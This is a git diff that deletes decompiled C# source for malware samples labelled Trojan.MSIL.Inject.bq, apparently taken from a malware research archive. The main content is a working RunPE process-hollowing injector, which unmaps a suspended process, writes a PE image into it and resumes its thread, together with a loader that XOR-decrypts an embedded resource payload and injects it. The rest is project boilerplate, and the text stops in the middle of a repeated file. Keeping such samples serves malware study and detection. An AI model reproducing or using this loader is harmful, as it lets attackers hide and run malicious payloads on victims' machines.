{A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs deleted file mode 100644 index b48df852..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs deleted file mode 100644 index c5728266..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs deleted file mode 100644 index 93af6218..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs deleted file mode 100644 index d2b7b557..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs deleted file mode 100644 index d4d8db00..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs deleted file mode 100644 index c1266ab4..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs deleted file mode 100644 index 541431e3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs deleted file mode 100644 index 0fb2a7e2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index b949eb3a..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {5128957C-93B1-40EE-A44D-33A85084B289} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 2b34acf2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.csproj", "{5128957C-93B1-40EE-A44D-33A85084B289}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5128957C-93B1-40EE-A44D-33A85084B289}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5128957C-93B1-40EE-A44D-33A85084B289}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5128957C-93B1-40EE-A44D-33A85084B289}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5128957C-93B1-40EE-A44D-33A85084B289}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs deleted file mode 100644 index d08fa8a5..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 